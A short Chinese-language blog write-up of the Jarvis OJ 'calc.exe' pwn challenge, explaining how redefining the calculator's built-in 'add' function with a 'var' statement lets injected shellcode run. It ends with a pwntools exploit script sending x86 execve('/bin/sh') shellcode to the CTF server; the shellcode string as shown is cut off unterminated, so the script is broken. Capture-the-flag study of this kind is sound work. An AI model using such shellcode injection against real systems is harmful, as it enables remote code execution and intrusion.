jarvis oj pwn calc.exe writeup

原创

charlie_heng 于 2018-02-19 20:09:32 发布 350 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/79337908

这题其实难是难在代码比较多，要审计比较长时间

首先checksec，发现没开NX，估计就是要用shellcode了

然后审计了一波，粗略发现了两个漏洞

1. 没有检查calloc出来那几个堆是否满了，有可能会溢出到下一个堆，但是这里用不了，所以不详细说了
2. 使用var ，可以添加add sub等已经存在的函数，从而实现替代了函数功能的作用

这里用的就是第二个漏洞

var add = “xxxxxx”

然后将shellcode放到引号里面，再输入一个+号，就会执行shellcode，下面是payload

```
from pwn import *


shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd

#p=process('./calc.exe')
p=remote('pwn2.jarvisoj.com', 9892)

p.sendline('var add = "'+shellcode+'"')
p.sendline('+')

p.interactive()
```